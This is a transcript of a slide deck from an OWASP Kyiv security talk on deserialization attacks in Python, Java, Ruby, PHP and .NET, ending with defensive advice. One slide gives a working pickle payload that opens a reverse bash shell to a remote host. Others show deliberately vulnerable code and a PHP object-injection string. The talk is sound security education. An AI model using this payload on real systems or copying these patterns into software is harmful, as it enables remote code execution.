Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Vlada Kulish - Why So Serial?

Vlada Kulish - Why So Serial?

Threats to Modern Serialization Capabilities.

OWASP Kyiv

March 04, 2018
Tweet

More Decks by OWASP Kyiv

Other Decks in Technology

Transcript

  1. What is de/serialization Why is it important How it works

    and what’s the issue Examples & Demo
  2. Where it is Communicating data to different systems, process Wire

    protocols, web services Storing and re-using data Databases, cache servers, file systems Tokens HTTP cookies, HTML form parameters, API auth tokens
  3. Problem @app.errorhandler(404) def page_not_found(e): template = '''{%% extends "layout.html" %%}

    {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404 {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>aaa{{5*5}}</h3> </div> {%% endblock %%}
  4. Python Pickle Protocol v.0 – ACSII Protocol v.1 – Old

    binary format Protocol v.2 – New binary format
  5. Pickle Virtual Machine Reconstruct a dict from the contents of

    the pickle. Create a class instance of the pickled object. Populate the class instance with the dict elements Instructure engine Stack Memo
  6. GLOBAL and REDUCE Reduce - executes the callable Global –

    loads class object onto the PVM stack
  7. Injecting Old <Legitimate pickle>…S’<html><body>Foo…’\n <Legitimate pickle> New <Legitimate pickle>…S’<html><body> <Instruction

    returning string>…’\n <Legitimate pickle> Result Identically-typed object to original with new attribute value assigned by executed instructions
  8. Limitations There is no branching instruction There is no comparison

    instruction No exceptions and no error handling A pickle stream cannot overwrite or directly read itself using Pickle instructions Strings loaded in pickles do not undergo variable substitution Class instances and their methods cannot be directly referenced Only callables that are present in the top-level of a module are candidates for loading into the PVM
  9. Vulnerable code def server(skt): line = skt.recv(1024) obj = pickle.loads(line)

    import pickle import socket import os class payload(object): def __reduce__(self): comm = "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1" return (os.system, (comm,)) payload = pickle.dumps( payload())
  10. JAVA How to detect AC ED in HEX or R0

    in base64 Java class names in the dump Errors
  11. Ruby CVE-2013-0156 Ruby on Rails XML processor YAML deserialization code

    execution Unsafe Object Deserialization Vulnerability in RubyGems CVE-2017-0903
  12. Ruby on Rails (<4.1 by default) used Marshal.load() on user

    cookies def reset_password user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil? … end <div class="content"> <%= hidden_field_tag 'user', Base64.encode64(Marshal.dump(@user)) %> … </div>
  13. PHP if (isset ($_COOKIE['leet_hax0r'])) { $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));

    …} a:2:{s:2:"ip";s:15:“IP_addr";i:1;O:3:"SQL":2:{s:5:"que ry";s:38:"SELECT password AS username FROM users";s:4:"conn";N;}}
  14. Real-life examples CVE-2015-8562: Joomla Remote Code Execution CVE-2015-7808: vBulletin 5

    Unserialize Code Execution CVE-2015-2171: Slim Framework PHP Object Injection
  15. .Net CVE-2017-9424 - Breeze.Server.NET CVE-2017-9785 - NANCYFX NANCY UP TO

    1.4.3/2.0 JSON DATA CSRF.CS CVE-2017-9822 - DNN (aka DotNetNuke) before 9.1.1 Remote Code Execution
  16. The DEFENCE Avoid magic methods Use as simple formats as

    possible Do not save session state on client Use White and Blacklists for classes Yes, manually serialize/ deserialize complex object Authentication+ Encryption DON’T TRUST DATA – VERIFY IT Use sandboxes